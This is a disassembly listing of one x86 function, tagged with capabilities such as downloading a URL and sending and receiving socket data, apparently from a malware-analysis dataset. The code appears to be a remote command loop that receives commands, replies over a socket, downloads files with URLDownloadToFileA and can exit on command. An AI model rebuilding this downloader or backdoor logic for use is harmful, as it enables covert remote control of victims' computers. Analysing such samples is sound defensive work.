Function at 0x40aa80
Capabilities:
Download url
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xcbf
push 0
push 0
dec ecx
jne 0x40aa88
push ebx
push esi
push edi
mov ebx, eax
mov esi, 0x42dd10
xor eax, eax
push ebp
push 0x40b03d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40b054
lea eax, [ebp - 0x65d4]
call fcn.0040a92c
push dword [ebp - 0x65d4]
push 0x40b064
lea eax, [ebp - 0x65d8]
call fcn.0040a92c
push dword [ebp - 0x65d8]
push 0x40b070
lea eax, [ebp - 0x65dc]
call fcn.0040a92c
push dword [ebp - 0x65dc]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 7
call fcn.00404b34
push dword [ebp - 4]
push 0x40b09c
lea eax, [ebp - 0x65e0]
call fcn.0040a92c
push dword [ebp - 0x65e0]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 4
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov edx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40ab3c
sub eax, 4
mov eax, dword [eax]
push 0
push eax
push edx
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0x40b0ac
lea eax, [ebp - 0x65e4]
call fcn.0040a704
push dword [ebp - 0x65e4]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov edx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40ab8e
sub eax, 4
mov eax, dword [eax]
push 0
push eax
push edx
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0x40b0c0
lea eax, [ebp - 0x65e8]
call fcn.0040a784
push dword [ebp - 0x65e8]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov edx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x40abe0
sub eax, 4
mov eax, dword [eax]
push 0
push eax
push edx
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
jmp 0x40affb
lea eax, [ebp - 4]
xor ecx, ecx
mov edx, 4
call fcn.004035b8
lea eax, [ebp - 4]
lea edx, [ebp - 0x65cd]
mov ecx, 0x6591
call fcn.00404a48
lea eax, [ebp - 0x65cd]
xor ecx, ecx
mov edx, 0x6591
call fcn.004035b8
lea edx, [ebp - 0x65ec]
mov eax, dword [ebp - 4]
call fcn.0040a5e0
mov eax, dword [ebp - 0x65ec]
call fcn.0040a99c
mov edx, dword [ebp - 4]
mov eax, 0x40b0d0
call fcn.00404d7c
test eax, eax
jle 0x40ac88
lea eax, [ebp - 4]
mov edx, 0x40b0e0
call fcn.00404870
lea eax, [ebp - 4]
call fcn.00404c90
mov dword [ebp - 8], eax
mov edi, dword [ebp - 4]
test edi, edi
je 0x40ac7b
sub edi, 4
mov edi, dword [edi]
push 0
push edi
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
mov eax, 0x40b0f8
call fcn.00404d7c
test eax, eax
jle 0x40adc0
mov edx, dword [ebp - 4]
mov eax, 0x40b0f8
call fcn.00404d7c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40acc4
mov eax, dword [ebp - 0xc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00404c98
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x40b108
call fcn.00404d7c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404c98
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40ad0e
mov eax, dword [ebp - 0x14]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0xd
jne 0x40ad42
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40ad32
mov eax, dword [ebp - 0x18]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [ebp - 0x18]
call fcn.00404cd8
lea eax, [ebp - 4]
mov ecx, 1
mov edx, 2
call fcn.00404cd8
lea edx, [ebp - 4]
mov ecx, 2
mov eax, 0x40b114
call fcn.00404d20
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40ad7d
mov eax, dword [ebp - 0x1c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
inc ecx
lea edx, [ebp - 4]
mov eax, 0x40b108
call fcn.00404d20
lea eax, [ebp - 4]
call fcn.00404c90
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40adb0
mov eax, dword [ebp - 0x20]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
push 0
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x24]
push eax
push ebx
call sub.wsock32.dll_send
lea edx, [ebp - 0x65f0]
mov eax, dword [esi]
call fcn.0040a5a0
mov eax, dword [ebp - 0x65f0]
mov edx, 0x40b120
call fcn.00404bc8
jne 0x40ade6
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x65f4]
mov eax, dword [esi]
call fcn.0040a5a0
mov eax, dword [ebp - 0x65f4]
mov edx, 0x40b130
call fcn.00404bc8
jne 0x40ae32
cmp dword [esi + 4], 0
jne 0x40ae18
lea eax, [esi + 4]
mov edx, 0x40b144
call fcn.0040482c
push ebx
call sub.wsock32.dll_closesocket
mov eax, dword [esi + 4]
call fcn.0040a3dc
imul eax, eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep_1
lea edx, [ebp - 0x65f8]
mov eax, dword [esi]
call fcn.0040a5a0
mov eax, dword [ebp - 0x65f8]
mov edx, 0x40b150
call fcn.00404bc8
jne 0x40affb
cmp dword [esi + 4], 0
je 0x40affb
cmp dword [esi + 8], 0
je 0x40affb
cmp dword [esi + 0xc], 0
je 0x40affb
push 0x40b164
push dword [esi + 4]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40aeaf
mov eax, dword [ebp - 0x28]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
push 0
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x2c]
push eax
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 0
mov eax, dword [esi + 8]
call fcn.00404c30
push eax
mov eax, dword [esi + 4]
call fcn.00404c30
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 0x40b188
push dword [esi + 4]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40af22
mov eax, dword [ebp - 0x30]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
push 0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x34]
push eax
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
mov eax, dword [esi + 0xc]
mov edx, 0x40b1b0
call fcn.00404bc8
jne 0x40afc6
cmp dword [esi + 0x10], 0
jne 0x40af5e
lea eax, [esi + 0x10]
mov edx, 0x40b1b0
call fcn.0040482c
mov eax, dword [esi + 0x10]
call fcn.0040a3dc
mov edx, eax
mov eax, dword [esi + 8]
call fcn.0040a374
push 0x40b1bc
push dword [esi + 8]
push 0x40b090
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
lea eax, [ebp - 4]
call fcn.00404c90
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x40afac
mov eax, dword [ebp - 0x38]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
push 0
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x3c]
push eax
push ebx
call sub.wsock32.dll_send
push 0xc8
call sub.kernel32.dll_Sleep_1
mov eax, dword [esi + 0x14]
mov edx, 0x40b1e0
call fcn.00404bc8
jne 0x40afdc
push 0
call sub.kernel32.dll_ExitProcess_1
mov eax, dword [esi + 0x14]
mov edx, 0x40b1f0
call fcn.00404bc8
jne 0x40affb
push ebx
call sub.wsock32.dll_closesocket
push 0xea60
call sub.kernel32.dll_Sleep_1
push 0
push 0x6591
lea eax, [ebp - 0x65cd]
push eax
push ebx
call sub.wsock32.dll_recv
test eax, eax
jg 0x40abf9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b044
lea eax, [ebp - 0x65f8]
mov edx, 0xa
call fcn.004047fc
lea eax, [ebp - 4]
call fcn.004047d8
ret